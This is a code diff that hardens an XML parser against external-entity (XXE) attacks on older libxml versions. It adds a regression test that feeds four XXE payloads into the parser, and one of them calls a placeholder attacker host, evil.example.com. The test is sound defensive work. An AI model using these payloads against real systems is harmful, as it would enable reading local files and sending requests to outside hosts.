Disable entityDecl all cases with libxml < 2.13

src/XMLDocument.h

@@ -326,19 +326,42 @@ struct XMLDocument: public unique_free_d<xmlFreeDoc>, public XMLNode
             }
         }, nullptr, &f, XML_CHAR_ENCODING_NONE));
         ctxt->options |= XML_PARSE_NOENT|XML_PARSE_DTDLOAD|XML_PARSE_DTDATTR|XML_PARSE_NONET|XML_PARSE_NODICT;
+        if(hugeFile)
+            ctxt->options |= XML_PARSE_HUGE;
 #if LIBXML_VERSION >= 21300
         ctxt->options |= XML_PARSE_NO_XXE;
 #else
         ctxt->loadsubset |= XML_DETECT_IDS|XML_COMPLETE_ATTRS;
-#endif
-        if(hugeFile)
-        {
-            ctxt->options |= XML_PARSE_HUGE;
-#if LIBXML_VERSION < 21300
-            if(ctxt->sax)
-                ctxt->sax->entityDecl = nullptr;
-#endif
+        if(ctxt->sax) {
+            ctxt->sax->entityDecl = [](void *ctx, const xmlChar *name, int type,
+                                        const xmlChar *publicId, const xmlChar *systemId,
+                                        xmlChar *content) noexcept {
+                auto *ctxt = static_cast<xmlParserCtxtPtr>(ctx);
+                auto *doc = ctxt->myDoc;
+                if(!doc) return;
+                if((ctxt->options & XML_PARSE_HUGE) &&
+                   (type == XML_INTERNAL_GENERAL_ENTITY || type == XML_INTERNAL_PARAMETER_ENTITY)) {
+                    ctxt->wellFormed = 0;
+                    xmlStopParser(ctxt);
+                    return;
+                }
+                if(type == XML_EXTERNAL_GENERAL_PARSED_ENTITY)
+                    xmlAddDocEntity(doc, name, XML_INTERNAL_GENERAL_ENTITY, nullptr, nullptr, (const xmlChar*)"");
+                else
+                    xmlAddDocEntity(doc, name, type, publicId, systemId, content);
+            };
+            ctxt->sax->resolveEntity = [](void*, const xmlChar*, const xmlChar*) noexcept -> xmlParserInputPtr {
+                return nullptr;
+            };
+            ctxt->sax->getEntity = [](void *ctx, const xmlChar *name) noexcept -> xmlEntityPtr {
+                auto *ctxt = static_cast<xmlParserCtxtPtr>(ctx);
+                auto *ent = xmlGetDocEntity(ctxt->myDoc, name);
+                if(!ent && ctxt->myDoc)
+                    ent = xmlAddDocEntity(ctxt->myDoc, name, XML_INTERNAL_GENERAL_ENTITY, nullptr, nullptr, (const xmlChar*)"");
+                return ent;
+            };
         }
+#endif
         auto result = xmlParseDocument(ctxt.get());
         if(result != 0 || !ctxt->wellFormed)
         {

test/data/xxe-sentinel-dtd.dtd

@@ -0,0 +1 @@
+<!ENTITY sentinel "XXESENTINEL">

test/data/xxe-sentinel.txt

@@ -0,0 +1 @@
+XXESENTINEL

test/libdigidocpp_boost.cpp

@@ -616,4 +616,54 @@ BOOST_AUTO_TEST_CASE(XMLBomb)
     if(std::fstream f{"xml-bomb-cont.xml"})
         BOOST_CHECK_THROW(XMLDocument::openStream(f, {}, true), Exception);
 }
+BOOST_AUTO_TEST_CASE(XMLXXE)
+{
+    BOOST_REQUIRE(fs::exists("xxe-sentinel.txt"));
+    BOOST_REQUIRE(fs::exists("xxe-sentinel-dtd.dtd"));
+
+    // Absolute file:// URIs so the entity loader can resolve them even from a
+    // stream context (which has no base URL). Without protection these files
+    // would be loaded and XXESENTINEL would appear in the document; with
+    // protection they are blocked before any file access occurs.
+    auto fileUri = [](const char *name) {
+        auto s = fs::absolute(name).generic_string();
+        return s.front() == '/' ? "file://" + s : "file:///" + s;
+    };
+    const auto sentinelUri = fileUri("xxe-sentinel.txt");
+    const auto dtdUri      = fileUri("xxe-sentinel-dtd.dtd");
+
+    // Each payload would leak XXESENTINEL into <root> if the relevant XXE
+    // vector is not blocked.
+    const std::string payloads[] = {
+        // General entity via local file
+        "<?xml version=\"1.0\"?>"
+        "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"" + sentinelUri + "\">]>"
+        "<root>&xxe;</root>",
+        // General entity via network (blocked by XML_PARSE_NONET)
+        "<?xml version=\"1.0\"?>"
+        "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://evil.example.com/secret\">]>"
+        "<root>&xxe;</root>",
+        // External DTD subset that defines &sentinel; as XXESENTINEL
+        "<?xml version=\"1.0\"?>"
+        "<!DOCTYPE root SYSTEM \"" + dtdUri + "\">"
+        "<root>&sentinel;</root>",
+        // Parameter entity that injects the DTD to define &sentinel;
+        "<?xml version=\"1.0\"?>"
+        "<!DOCTYPE root ["
+        "<!ENTITY % sentinel SYSTEM \"" + dtdUri + "\">"
+        "%sentinel;"
+        "]><root>&sentinel;</root>",
+    };
+
+    for(const auto &payload : payloads) {
+        for(bool huge : {false, true}) {
+            std::istringstream is{std::string(payload)};
+            auto doc = XMLDocument::openStream(is, {}, huge);
+            xmlChar *raw = xmlNodeGetContent(doc.d);
+            std::string_view text = raw ? (const char*)raw : "";
+            BOOST_CHECK(!text.contains("XXESENTINEL"));
+            xmlFree(raw);
+        }
+    }
+}
 BOOST_AUTO_TEST_SUITE_END()